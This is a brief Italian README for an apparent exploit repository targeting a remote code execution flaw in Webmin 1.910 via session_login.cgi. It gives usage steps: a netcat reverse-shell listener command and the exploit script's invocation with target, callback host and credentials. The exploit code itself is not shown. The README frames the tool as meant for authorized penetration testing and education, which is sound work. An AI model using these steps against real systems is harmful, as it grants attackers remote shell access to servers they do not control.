Webmin1.910_exploit

Webmin 1.910 Exploit di Esecuzione Remota di Codice

Descrizione:

Questa repository contiene uno script Python 3 progettato per sfruttare una vulnerabilità di esecuzione remota di codice in Webmin versione 1.910. Lo script utilizza l'endpoint session_login.cgi per eseguire l'autenticazione e distribuire un payload di reverse shell, garantendo accesso remoto al sistema di destinazione. Questo exploit è destinato a test di penetrazione autorizzati e a scopi educativi.

1. Avvia un listener sulla tua macchina locale:

nc -lvnp <lport>

2. Esegui lo script usando il seguente comando:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>